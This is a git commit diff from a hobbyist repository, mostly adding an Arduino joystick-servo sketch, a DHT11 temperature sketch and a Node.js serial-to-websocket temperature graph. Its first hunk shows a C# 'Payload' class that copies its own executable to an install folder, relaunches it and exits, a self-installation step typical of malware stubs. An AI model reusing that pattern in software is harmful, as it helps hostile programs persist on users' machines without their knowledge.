arduino websocket serial project
This commit is contained in:
@@ -39,30 +39,21 @@ namespace Payload {
|
||||
|
||||
public void Initialize() {
|
||||
try {
|
||||
Console.WriteLine("2");
|
||||
if (Config.InstallPath == System.Reflection.Assembly.GetEntryAssembly().Location) {
|
||||
return;
|
||||
}
|
||||
Console.WriteLine("3");
|
||||
|
||||
if (!Directory.Exists(Config.InstallFolder)) {
|
||||
Directory.CreateDirectory(Config.InstallFolder);
|
||||
}
|
||||
Console.WriteLine("4");
|
||||
|
||||
try {
|
||||
File.Copy(System.Reflection.Assembly.GetEntryAssembly().Location, Config.InstallPath, true);
|
||||
} catch { }
|
||||
|
||||
Console.WriteLine("5");
|
||||
|
||||
Process.Start(Config.InstallPath);
|
||||
|
||||
Console.WriteLine("6");
|
||||
|
||||
Environment.Exit(0);
|
||||
|
||||
Console.WriteLine("7");
|
||||
} catch (Exception e) {
|
||||
Console.WriteLine(e);
|
||||
}
|
||||
|
||||
BIN
C++/Arduino/Joystick_Mouse.rar
Normal file
BIN
C++/Arduino/Joystick_Mouse.rar
Normal file
Binary file not shown.
22
C++/Arduino/Servo_controller/Servo_controller.ino
Normal file
22
C++/Arduino/Servo_controller/Servo_controller.ino
Normal file
@@ -0,0 +1,22 @@
|
||||
#include <Servo.h>
|
||||
#define SERVO_PIN 9
|
||||
#define XJOY_PIN A1
|
||||
Servo myservo ;
|
||||
|
||||
void setup()
|
||||
{
|
||||
Serial.begin(9600);
|
||||
myservo.attach(9);
|
||||
}
|
||||
|
||||
void loop()
|
||||
{
|
||||
delay(200);
|
||||
int joystickXVal = analogRead(XJOY_PIN) ; //read joystick input on pin A1
|
||||
Serial.print(joystickXVal); //print the value from A1
|
||||
Serial.println(" = input from joystick"); //print "=input from joystick" next to the value
|
||||
Serial.print((joystickXVal+520)/10); //print a from A1 calculated, scaled value
|
||||
Serial.println(" = output to servo"); //print "=output to servo" next to the value
|
||||
Serial.println() ;
|
||||
myservo.write((joystickXVal+520)/10); //write the calculated value to the servo
|
||||
}
|
||||
@@ -1,48 +1,25 @@
|
||||
lol#include <DHT.h>
|
||||
#include <DHT.h>
|
||||
#include <DHT_U.h>
|
||||
#include <LiquidCrystal.h>
|
||||
|
||||
#define DHTPIN 13
|
||||
#define DHTTYPE DHT11
|
||||
|
||||
const int rs = 12, en = 11, d4 = 5, d5 = 4, d6 = 3, d7 = 2;
|
||||
LiquidCrystal lcd(rs, en, d4, d5, d6, d7);
|
||||
|
||||
DHT dht(DHTPIN, DHTTYPE);
|
||||
|
||||
void setup() {
|
||||
Serial.begin(9600);
|
||||
lcd.begin(16, 2);
|
||||
Serial.begin(115200);
|
||||
dht.begin();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
float humidity = dht.readHumidity();
|
||||
float temperature = dht.readTemperature();
|
||||
|
||||
if (isnan(temperature) || isnan(humidity)) {
|
||||
Serial.println("Failed to fetch");
|
||||
lcd.clear();
|
||||
lcd.print("Failed to fetch");
|
||||
if (isnan(temperature)) {
|
||||
Serial.println("-1000000");
|
||||
delay(500);
|
||||
return;
|
||||
}
|
||||
|
||||
String temp = (String)(int)temperature;
|
||||
String humid = (String)(int)humidity;
|
||||
|
||||
|
||||
String ln1 = "Temperature : " + temp + " °C";
|
||||
String ln2 = "Humidity : " + humid + " %";
|
||||
|
||||
Serial.println(ln1);
|
||||
Serial.println(ln2);
|
||||
Serial.println();
|
||||
|
||||
lcd.setCursor(0,0);
|
||||
lcd.print(ln1);
|
||||
lcd.setCursor(0,1);
|
||||
lcd.print(ln2);
|
||||
|
||||
delay(500);
|
||||
Serial.println((String)temperature);
|
||||
delay(30);
|
||||
}
|
||||
|
||||
49
JavaScript/adruino-temp-sensor/client/draw.js
Normal file
49
JavaScript/adruino-temp-sensor/client/draw.js
Normal file
@@ -0,0 +1,49 @@
|
||||
const MAX_POINTS = 60;
|
||||
const X_MAX = 60;
|
||||
const Y_MAX = 40;
|
||||
const X_DIV = 5;
|
||||
const Y_DIV = 4;
|
||||
|
||||
let canvas = document.getElementById('graph');
|
||||
let ctx = canvas.getContext('2d');
|
||||
let points = [];
|
||||
|
||||
function addPoint(temp) {
|
||||
if (points.length <= MAX_POINTS) {
|
||||
points.push(temp);
|
||||
}
|
||||
else {
|
||||
for (let i = 0; i <= MAX_POINTS - 1; i++) {
|
||||
points[i] = points[i + 1];
|
||||
}
|
||||
points[MAX_POINTS] = temp;
|
||||
}
|
||||
|
||||
ctx.clearRect(0, 0, canvas.width, canvas.height);
|
||||
|
||||
ctx.strokeStyle = "black";
|
||||
ctx.font = "20px Courrier New";
|
||||
ctx.textAlign="right";
|
||||
for (let i = X_DIV; i < MAX_POINTS; i += X_DIV) {
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(i * (canvas.width / MAX_POINTS), 0);
|
||||
ctx.lineTo(i * (canvas.width / MAX_POINTS), canvas.height);
|
||||
ctx.stroke();
|
||||
}
|
||||
|
||||
for (let i = Y_DIV; i < Y_MAX; i += Y_DIV) {
|
||||
ctx.fillText(Y_MAX - i , canvas.width - 1, i * (canvas.height / Y_MAX) - 2);
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(0, i * (canvas.height / Y_MAX));
|
||||
ctx.lineTo(canvas.width, i * (canvas.height / Y_MAX));
|
||||
ctx.stroke();
|
||||
}
|
||||
|
||||
ctx.strokeStyle = "blue";
|
||||
for (let i = 0; i < points.length && points.length > 1; i++) {
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(i * (canvas.width / MAX_POINTS), canvas.height - (points[i] * 10));
|
||||
ctx.lineTo((i + 1) * (canvas.width / MAX_POINTS), canvas.height - (points[i + 1] * 10));
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
16
JavaScript/adruino-temp-sensor/client/index.html
Normal file
16
JavaScript/adruino-temp-sensor/client/index.html
Normal file
@@ -0,0 +1,16 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Temperature</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link rel="stylesheet" type="text/css" media="screen" href="style.css" />
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.1.1/socket.io.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<canvas id="graph" width="600" height="400"></canvas>
|
||||
<script src="draw.js"></script>
|
||||
<script src="main.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
26
JavaScript/adruino-temp-sensor/client/main.js
Normal file
26
JavaScript/adruino-temp-sensor/client/main.js
Normal file
@@ -0,0 +1,26 @@
|
||||
console.log('Connecting to server')
|
||||
|
||||
var socket = io.connect('benkyd.duckdns.org:8081');
|
||||
let temp = [];
|
||||
|
||||
socket.on('connect', function(data) {
|
||||
socket.emit('handshake', 'client');
|
||||
});
|
||||
|
||||
socket.on('handshake', function(data) {
|
||||
socket.emit('ready');
|
||||
});
|
||||
|
||||
socket.on('temp', function(data) {
|
||||
console.log(data);
|
||||
addPoint(data);
|
||||
});
|
||||
|
||||
socket.on('lasthour', function(data) {
|
||||
console.log(data);
|
||||
data.forEach(point => {
|
||||
if (point != NaN || point != null || point != 'undefined' || point != 'NaN' || point != 'null' || point != 'undefined') {
|
||||
addPoint(point);
|
||||
}
|
||||
});
|
||||
});
|
||||
15
JavaScript/adruino-temp-sensor/client/style.css
Normal file
15
JavaScript/adruino-temp-sensor/client/style.css
Normal file
@@ -0,0 +1,15 @@
|
||||
body {
|
||||
background-color: #2f2f2f;
|
||||
}
|
||||
|
||||
canvas {
|
||||
background-color: rgb(245,245,245);
|
||||
padding: 0;
|
||||
margin: auto;
|
||||
display: block;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
}
|
||||
72
JavaScript/adruino-temp-sensor/index.js
Normal file
72
JavaScript/adruino-temp-sensor/index.js
Normal file
@@ -0,0 +1,72 @@
|
||||
const SerialPort = require('serialport');
|
||||
const parsers = SerialPort.parsers;
|
||||
const fs = require('fs');
|
||||
let express = require('express');
|
||||
let app = express();
|
||||
let server = require('http').createServer(app);
|
||||
let io = require('socket.io')(server);
|
||||
/* COMMUNICATION WITH ARDUINO AND CLENSING OF DATA */
|
||||
|
||||
let lastHour = []
|
||||
let temperature;
|
||||
const parser = new parsers.Readline({
|
||||
delimiter: '\r\n'
|
||||
});
|
||||
|
||||
const port = new SerialPort('COM3', {
|
||||
baudRate: 115200
|
||||
});
|
||||
|
||||
port.pipe(parser);
|
||||
|
||||
port.on('open', () => {
|
||||
console.log('Serial connection on COM3 initialized')
|
||||
});
|
||||
|
||||
port.on('data', (data) => {
|
||||
let temp = parseFloat(data.toString());
|
||||
if (temp == NaN) return;
|
||||
if (temp == NaN) return;
|
||||
if (temp == undefined) return;
|
||||
if (temp == null) return;
|
||||
if (temp + 5 < temperature) return;
|
||||
if (temp - 5 > temperature) return;
|
||||
temperature = temp;
|
||||
});
|
||||
|
||||
/* SIMPLE WEBSERVER */
|
||||
|
||||
app.use('/', express.static(__dirname + '/client'));
|
||||
app.get('/', function(req, res) {
|
||||
res.sendFile(__dirname + '/client/index.html');
|
||||
});
|
||||
app.listen(8080);
|
||||
console.log('Server listening on 80')
|
||||
|
||||
/* WEBSOCKETS */
|
||||
|
||||
server.listen(8081);
|
||||
|
||||
io.on('connection', (socket) => {
|
||||
let ip = socket.request.connection.remoteAddress;
|
||||
if (ip.startsWith('::ffff:')) ip = ip.substring(7);
|
||||
|
||||
socket.on('handshake', function(data) {
|
||||
console.log('New client connecting at ' + ip)
|
||||
socket.emit('handshake', 'server');
|
||||
});
|
||||
|
||||
socket.on('ready', function(data) {
|
||||
console.log('Handshake with ' + ip + ' successful')
|
||||
socket.emit('lasthour', lastHour);
|
||||
|
||||
setInterval(() => {
|
||||
socket.emit('temp', temperature);
|
||||
}, 60000);
|
||||
});
|
||||
});
|
||||
|
||||
setInterval(() => {
|
||||
lastHour.push(temperature);
|
||||
if (lastHour.length > 60) lastHour.splice(0,1);
|
||||
}, 60000)
|
||||
2175
JavaScript/adruino-temp-sensor/package-lock.json
generated
Normal file
2175
JavaScript/adruino-temp-sensor/package-lock.json
generated
Normal file
File diff suppressed because it is too large
Load Diff
18
JavaScript/adruino-temp-sensor/package.json
Normal file
18
JavaScript/adruino-temp-sensor/package.json
Normal file
@@ -0,0 +1,18 @@
|
||||
{
|
||||
"name": "adruino-temp-sensor",
|
||||
"version": "1.0.0",
|
||||
"description": "",
|
||||
"main": "index.js",
|
||||
"dependencies": {
|
||||
"express": "^4.16.3",
|
||||
"fs": "0.0.1-security",
|
||||
"serialport": "^6.2.2",
|
||||
"socket.io": "^2.1.1"
|
||||
},
|
||||
"devDependencies": {},
|
||||
"scripts": {
|
||||
"test": "echo \"Error: no test specified\" && exit 1"
|
||||
},
|
||||
"author": "Ben (plane000)",
|
||||
"license": "MIT"
|
||||
}
|
||||
@@ -23,7 +23,7 @@
|
||||
latitude:
|
||||
<input class="box" type="text" id="long" required>
|
||||
</div> <br>
|
||||
<input class="update" id="update" type="submit" value="Submit" onclick="update();">
|
||||
<input class="update" id="update" type="submit" value="Submit" onclick="update();">
|
||||
</div>
|
||||
|
||||
<script src="./main.js"></script>
|
||||
|
||||
0
JavaScript/web-chat/index.js
Normal file
0
JavaScript/web-chat/index.js
Normal file
373
JavaScript/web-chat/package-lock.json
generated
Normal file
373
JavaScript/web-chat/package-lock.json
generated
Normal file
@@ -0,0 +1,373 @@
|
||||
{
|
||||
"name": "web-chat",
|
||||
"version": "1.0.0",
|
||||
"lockfileVersion": 1,
|
||||
"requires": true,
|
||||
"dependencies": {
|
||||
"accepts": {
|
||||
"version": "1.3.5",
|
||||
"resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.5.tgz",
|
||||
"integrity": "sha1-63d99gEXI6OxTopywIBcjoZ0a9I=",
|
||||
"requires": {
|
||||
"mime-types": "2.1.19",
|
||||
"negotiator": "0.6.1"
|
||||
}
|
||||
},
|
||||
"array-flatten": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
|
||||
"integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI="
|
||||
},
|
||||
"body-parser": {
|
||||
"version": "1.18.2",
|
||||
"resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.2.tgz",
|
||||
"integrity": "sha1-h2eKGdhLR9hZuDGZvVm84iKxBFQ=",
|
||||
"requires": {
|
||||
"bytes": "3.0.0",
|
||||
"content-type": "1.0.4",
|
||||
"debug": "2.6.9",
|
||||
"depd": "1.1.2",
|
||||
"http-errors": "1.6.3",
|
||||
"iconv-lite": "0.4.19",
|
||||
"on-finished": "2.3.0",
|
||||
"qs": "6.5.1",
|
||||
"raw-body": "2.3.2",
|
||||
"type-is": "1.6.16"
|
||||
}
|
||||
},
|
||||
"bytes": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz",
|
||||
"integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg="
|
||||
},
|
||||
"content-disposition": {
|
||||
"version": "0.5.2",
|
||||
"resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.2.tgz",
|
||||
"integrity": "sha1-DPaLud318r55YcOoUXjLhdunjLQ="
|
||||
},
|
||||
"content-type": {
|
||||
"version": "1.0.4",
|
||||
"resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz",
|
||||
"integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA=="
|
||||
},
|
||||
"cookie": {
|
||||
"version": "0.3.1",
|
||||
"resolved": "https://registry.npmjs.org/cookie/-/cookie-0.3.1.tgz",
|
||||
"integrity": "sha1-5+Ch+e9DtMi6klxcWpboBtFoc7s="
|
||||
},
|
||||
"cookie-signature": {
|
||||
"version": "1.0.6",
|
||||
"resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
|
||||
"integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw="
|
||||
},
|
||||
"debug": {
|
||||
"version": "2.6.9",
|
||||
"resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
|
||||
"integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
|
||||
"requires": {
|
||||
"ms": "2.0.0"
|
||||
}
|
||||
},
|
||||
"depd": {
|
||||
"version": "1.1.2",
|
||||
"resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz",
|
||||
"integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak="
|
||||
},
|
||||
"destroy": {
|
||||
"version": "1.0.4",
|
||||
"resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz",
|
||||
"integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA="
|
||||
},
|
||||
"ee-first": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
|
||||
"integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0="
|
||||
},
|
||||
"encodeurl": {
|
||||
"version": "1.0.2",
|
||||
"resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
|
||||
"integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k="
|
||||
},
|
||||
"escape-html": {
|
||||
"version": "1.0.3",
|
||||
"resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
|
||||
"integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg="
|
||||
},
|
||||
"etag": {
|
||||
"version": "1.8.1",
|
||||
"resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
|
||||
"integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc="
|
||||
},
|
||||
"express": {
|
||||
"version": "4.16.3",
|
||||
"resolved": "https://registry.npmjs.org/express/-/express-4.16.3.tgz",
|
||||
"integrity": "sha1-avilAjUNsyRuzEvs9rWjTSL37VM=",
|
||||
"requires": {
|
||||
"accepts": "1.3.5",
|
||||
"array-flatten": "1.1.1",
|
||||
"body-parser": "1.18.2",
|
||||
"content-disposition": "0.5.2",
|
||||
"content-type": "1.0.4",
|
||||
"cookie": "0.3.1",
|
||||
"cookie-signature": "1.0.6",
|
||||
"debug": "2.6.9",
|
||||
"depd": "1.1.2",
|
||||
"encodeurl": "1.0.2",
|
||||
"escape-html": "1.0.3",
|
||||
"etag": "1.8.1",
|
||||
"finalhandler": "1.1.1",
|
||||
"fresh": "0.5.2",
|
||||
"merge-descriptors": "1.0.1",
|
||||
"methods": "1.1.2",
|
||||
"on-finished": "2.3.0",
|
||||
"parseurl": "1.3.2",
|
||||
"path-to-regexp": "0.1.7",
|
||||
"proxy-addr": "2.0.3",
|
||||
"qs": "6.5.1",
|
||||
"range-parser": "1.2.0",
|
||||
"safe-buffer": "5.1.1",
|
||||
"send": "0.16.2",
|
||||
"serve-static": "1.13.2",
|
||||
"setprototypeof": "1.1.0",
|
||||
"statuses": "1.4.0",
|
||||
"type-is": "1.6.16",
|
||||
"utils-merge": "1.0.1",
|
||||
"vary": "1.1.2"
|
||||
}
|
||||
},
|
||||
"finalhandler": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.1.tgz",
|
||||
"integrity": "sha512-Y1GUDo39ez4aHAw7MysnUD5JzYX+WaIj8I57kO3aEPT1fFRL4sr7mjei97FgnwhAyyzRYmQZaTHb2+9uZ1dPtg==",
|
||||
"requires": {
|
||||
"debug": "2.6.9",
|
||||
"encodeurl": "1.0.2",
|
||||
"escape-html": "1.0.3",
|
||||
"on-finished": "2.3.0",
|
||||
"parseurl": "1.3.2",
|
||||
"statuses": "1.4.0",
|
||||
"unpipe": "1.0.0"
|
||||
}
|
||||
},
|
||||
"forwarded": {
|
||||
"version": "0.1.2",
|
||||
"resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.2.tgz",
|
||||
"integrity": "sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ="
|
||||
},
|
||||
"fresh": {
|
||||
"version": "0.5.2",
|
||||
"resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
|
||||
"integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac="
|
||||
},
|
||||
"http-errors": {
|
||||
"version": "1.6.3",
|
||||
"resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz",
|
||||
"integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=",
|
||||
"requires": {
|
||||
"depd": "1.1.2",
|
||||
"inherits": "2.0.3",
|
||||
"setprototypeof": "1.1.0",
|
||||
"statuses": "1.4.0"
|
||||
}
|
||||
},
|
||||
"iconv-lite": {
|
||||
"version": "0.4.19",
|
||||
"resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.19.tgz",
|
||||
"integrity": "sha512-oTZqweIP51xaGPI4uPa56/Pri/480R+mo7SeU+YETByQNhDG55ycFyNLIgta9vXhILrxXDmF7ZGhqZIcuN0gJQ=="
|
||||
},
|
||||
"inherits": {
|
||||
"version": "2.0.3",
|
||||
"resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
|
||||
"integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
|
||||
},
|
||||
"ipaddr.js": {
|
||||
"version": "1.6.0",
|
||||
"resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.6.0.tgz",
|
||||
"integrity": "sha1-4/o1e3c9phnybpXwSdBVxyeW+Gs="
|
||||
},
|
||||
"media-typer": {
|
||||
"version": "0.3.0",
|
||||
"resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
|
||||
"integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g="
|
||||
},
|
||||
"merge-descriptors": {
|
||||
"version": "1.0.1",
|
||||
"resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz",
|
||||
"integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E="
|
||||
},
|
||||
"methods": {
|
||||
"version": "1.1.2",
|
||||
"resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
|
||||
"integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4="
|
||||
},
|
||||
"mime": {
|
||||
"version": "1.4.1",
|
||||
"resolved": "https://registry.npmjs.org/mime/-/mime-1.4.1.tgz",
|
||||
"integrity": "sha512-KI1+qOZu5DcW6wayYHSzR/tXKCDC5Om4s1z2QJjDULzLcmf3DvzS7oluY4HCTrc+9FiKmWUgeNLg7W3uIQvxtQ=="
|
||||
},
|
||||
"mime-db": {
|
||||
"version": "1.35.0",
|
||||
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.35.0.tgz",
|
||||
"integrity": "sha512-JWT/IcCTsB0Io3AhWUMjRqucrHSPsSf2xKLaRldJVULioggvkJvggZ3VXNNSRkCddE6D+BUI4HEIZIA2OjwIvg=="
|
||||
},
|
||||
"mime-types": {
|
||||
"version": "2.1.19",
|
||||
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.19.tgz",
|
||||
"integrity": "sha512-P1tKYHVSZ6uFo26mtnve4HQFE3koh1UWVkp8YUC+ESBHe945xWSoXuHHiGarDqcEZ+whpCDnlNw5LON0kLo+sw==",
|
||||
"requires": {
|
||||
"mime-db": "1.35.0"
|
||||
}
|
||||
},
|
||||
"ms": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
|
||||
"integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
|
||||
},
|
||||
"negotiator": {
|
||||
"version": "0.6.1",
|
||||
"resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.1.tgz",
|
||||
"integrity": "sha1-KzJxhOiZIQEXeyhWP7XnECrNDKk="
|
||||
},
|
||||
"on-finished": {
|
||||
"version": "2.3.0",
|
||||
"resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz",
|
||||
"integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=",
|
||||
"requires": {
|
||||
"ee-first": "1.1.1"
|
||||
}
|
||||
},
|
||||
"parseurl": {
|
||||
"version": "1.3.2",
|
||||
"resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.2.tgz",
|
||||
"integrity": "sha1-/CidTtiZMRlGDBViUyYs3I3mW/M="
|
||||
},
|
||||
"path-to-regexp": {
|
||||
"version": "0.1.7",
|
||||
"resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz",
|
||||
"integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w="
|
||||
},
|
||||
"proxy-addr": {
|
||||
"version": "2.0.3",
|
||||
"resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.3.tgz",
|
||||
"integrity": "sha512-jQTChiCJteusULxjBp8+jftSQE5Obdl3k4cnmLA6WXtK6XFuWRnvVL7aCiBqaLPM8c4ph0S4tKna8XvmIwEnXQ==",
|
||||
"requires": {
|
||||
"forwarded": "0.1.2",
|
||||
"ipaddr.js": "1.6.0"
|
||||
}
|
||||
},
|
||||
"qs": {
|
||||
"version": "6.5.1",
|
||||
"resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz",
|
||||
"integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A=="
|
||||
},
|
||||
"range-parser": {
|
||||
"version": "1.2.0",
|
||||
"resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.0.tgz",
|
||||
"integrity": "sha1-9JvmtIeJTdxA3MlKMi9hEJLgDV4="
|
||||
},
|
||||
"raw-body": {
|
||||
"version": "2.3.2",
|
||||
"resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.2.tgz",
|
||||
"integrity": "sha1-vNYMd9Prk83gBQKVw/N5OJvIj4k=",
|
||||
"requires": {
|
||||
"bytes": "3.0.0",
|
||||
"http-errors": "1.6.2",
|
||||
"iconv-lite": "0.4.19",
|
||||
"unpipe": "1.0.0"
|
||||
},
|
||||
"dependencies": {
|
||||
"depd": {
|
||||
"version": "1.1.1",
|
||||
"resolved": "https://registry.npmjs.org/depd/-/depd-1.1.1.tgz",
|
||||
"integrity": "sha1-V4O04cRZ8G+lyif5kfPQbnoxA1k="
|
||||
},
|
||||
"http-errors": {
|
||||
"version": "1.6.2",
|
||||
"resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.2.tgz",
|
||||
"integrity": "sha1-CgAsyFcHGSp+eUbO7cERVfYOxzY=",
|
||||
"requires": {
|
||||
"depd": "1.1.1",
|
||||
"inherits": "2.0.3",
|
||||
"setprototypeof": "1.0.3",
|
||||
"statuses": "1.4.0"
|
||||
}
|
||||
},
|
||||
"setprototypeof": {
|
||||
"version": "1.0.3",
|
||||
"resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.0.3.tgz",
|
||||
"integrity": "sha1-ZlZ+NwQ+608E2RvWWMDL77VbjgQ="
|
||||
}
|
||||
}
|
||||
},
|
||||
"safe-buffer": {
|
||||
"version": "5.1.1",
|
||||
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz",
|
||||
"integrity": "sha512-kKvNJn6Mm93gAczWVJg7wH+wGYWNrDHdWvpUmHyEsgCtIwwo3bqPtV4tR5tuPaUhTOo/kvhVwd8XwwOllGYkbg=="
|
||||
},
|
||||
"send": {
|
||||
"version": "0.16.2",
|
||||
"resolved": "https://registry.npmjs.org/send/-/send-0.16.2.tgz",
|
||||
"integrity": "sha512-E64YFPUssFHEFBvpbbjr44NCLtI1AohxQ8ZSiJjQLskAdKuriYEP6VyGEsRDH8ScozGpkaX1BGvhanqCwkcEZw==",
|
||||
"requires": {
|
||||
"debug": "2.6.9",
|
||||
"depd": "1.1.2",
|
||||
"destroy": "1.0.4",
|
||||
"encodeurl": "1.0.2",
|
||||
"escape-html": "1.0.3",
|
||||
"etag": "1.8.1",
|
||||
"fresh": "0.5.2",
|
||||
"http-errors": "1.6.3",
|
||||
"mime": "1.4.1",
|
||||
"ms": "2.0.0",
|
||||
"on-finished": "2.3.0",
|
||||
"range-parser": "1.2.0",
|
||||
"statuses": "1.4.0"
|
||||
}
|
||||
},
|
||||
"serve-static": {
|
||||
"version": "1.13.2",
|
||||
"resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.13.2.tgz",
|
||||
"integrity": "sha512-p/tdJrO4U387R9oMjb1oj7qSMaMfmOyd4j9hOFoxZe2baQszgHcSWjuya/CiT5kgZZKRudHNOA0pYXOl8rQ5nw==",
|
||||
"requires": {
|
||||
"encodeurl": "1.0.2",
|
||||
"escape-html": "1.0.3",
|
||||
"parseurl": "1.3.2",
|
||||
"send": "0.16.2"
|
||||
}
|
||||
},
|
||||
"setprototypeof": {
|
||||
"version": "1.1.0",
|
||||
"resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz",
|
||||
"integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ=="
|
||||
},
|
||||
"statuses": {
|
||||
"version": "1.4.0",
|
||||
"resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz",
|
||||
"integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew=="
|
||||
},
|
||||
"type-is": {
|
||||
"version": "1.6.16",
|
||||
"resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.16.tgz",
|
||||
"integrity": "sha512-HRkVv/5qY2G6I8iab9cI7v1bOIdhm94dVjQCPFElW9W+3GeDOSHmy2EBYe4VTApuzolPcmgFTN3ftVJRKR2J9Q==",
|
||||
"requires": {
|
||||
"media-typer": "0.3.0",
|
||||
"mime-types": "2.1.19"
|
||||
}
|
||||
},
|
||||
"unpipe": {
|
||||
"version": "1.0.0",
|
||||
"resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
|
||||
"integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw="
|
||||
},
|
||||
"utils-merge": {
|
||||
"version": "1.0.1",
|
||||
"resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
|
||||
"integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM="
|
||||
},
|
||||
"vary": {
|
||||
"version": "1.1.2",
|
||||
"resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
|
||||
"integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw="
|
||||
}
|
||||
}
|
||||
}
|
||||
14
JavaScript/web-chat/package.json
Normal file
14
JavaScript/web-chat/package.json
Normal file
@@ -0,0 +1,14 @@
|
||||
{
|
||||
"name": "web-chat",
|
||||
"version": "1.0.0",
|
||||
"description": "",
|
||||
